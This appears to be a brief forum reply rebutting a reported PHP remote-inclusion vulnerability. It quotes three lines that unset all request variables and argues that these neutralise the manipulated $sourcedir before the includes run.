Nice.

But you forgot the three little line above of this:

| $givenParams = array_keys($_REQUEST);
| foreach($givenParams as $param )
| unset(${$param});

And this...

... unsets your set sourcedir.
Result: There is no vulnerability.

Maybee $sourcedir is set/manipulated in QueryString.php
or Settings.php, but these script see nothing about your
manipulated sourcedir since it's unset before the includes.
